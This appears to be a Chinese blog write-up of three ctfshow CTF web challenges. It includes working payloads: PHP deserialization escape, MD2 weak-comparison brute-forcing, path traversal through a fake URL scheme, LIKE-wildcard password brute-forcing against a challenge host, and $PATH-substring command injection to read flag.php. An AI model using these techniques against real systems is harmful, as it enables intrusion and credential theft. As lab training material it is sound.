月饼杯web复现

前言

今早把马原旷了,原本打算去学习数学建模回寝室复现了一遍月饼杯的题目,还是学到了一些小的trick。

web1

代码审计,给了源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}

function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

很明显的序列化逃逸

直接放payload:?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

web2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
if($d){
highlight_file('hint.php');
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差点点就成功了!';
}
}else{
echo 'please give me url!!!';
}
}else{
echo '想一想md5碰撞原理吧?!';
}
}else{
echo '第一个都过不了还想要flag呀?!';
}
  • 第一层 a!=0 但是又要 a*a == 0 ,这里考察php的浮点数精度溢出,找一个比较小,接近于0的数

    1e-162 即可绕过

  • 第二层,找到一个b,md2加密后仍然等于b,找到一个c,两次md2加密后,仍然等于c

    考虑PHP弱比较特性 即找到一个 0e开头的数,md2加密后仍然是0e开头

    爆破脚本:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    <?php
    for ($i=0; $i < 999999; $i++) {
    $b=hash("md2", '0e'.$i.'024452');
    if(is_numeric($b) && substr($b,0,2)==='0e'){
    echo '$i = ';echo $i;
    echo '$b = ';echo $b;
    }

    $c=hash("md2",hash("md2", '0e'.$i.'48399'));
    if(is_numeric($c) && substr($c,0,2)==='0e'){
    echo '$i = ';echo $i;
    echo '$c = ';echo $c;
    }
    }
    ?>
  • 第三层

    php会把不能理解的协议当做目录处理,这里 a:// 0:// 都能通过filter_var函数

    这里用 a://ctfshow.com/../../../../../../../fl0g.txt

web3

1.png

给了hint

这里可以用%和_来进行模糊查询,过滤了%,但没有过滤 _ ,%可以匹配多位,而 _ 只能匹配一位。所以可以利用 _ 来测试出 密码的位数,经过测试有32位,接下来写脚本爆破密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import string

url="http://4fe5ddc9-9c6e-4206-8b92-f0a676f567c1.chall.ctf.show/login.php"

dicts=string.ascii_letters+string.digits+'{'+'}'+'-'
password='67815b0c009ee970fe4014abaa3Fa6A'
for i in range(1,34):
for char in dicts:
r=requests.session()
datas={"username":"yu22x","password":password+char+(32-i)*'_'}
print(password+char+(32-i)*'_')
res=r.post(url=url,data=datas)
if 'wrong' in res.text:
print("",end="")
if 'I have filtered' in res.text:
password+=char
print(password)
break

得到密码: 67815b0c009ee970fe4014abaa3Fa6A0

然后登陆来到一个新的页面:

考虑可能是命令注入,这里过滤了小写字母等字符,可以利用环境变量截取拼接来构造

我用买的服务器 echo $PATH

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

127.0.0.1;${PATH:5:1}${PATH:2:1} 即可构造出 ls 命令, 发现有flag.php文件

然后构造 nl flag.php = > ${PATH:14:1}${PATH:5:1} ????.??? F12 拿到flag

总结

学到了新的绕过姿势,和 命令构造方式 。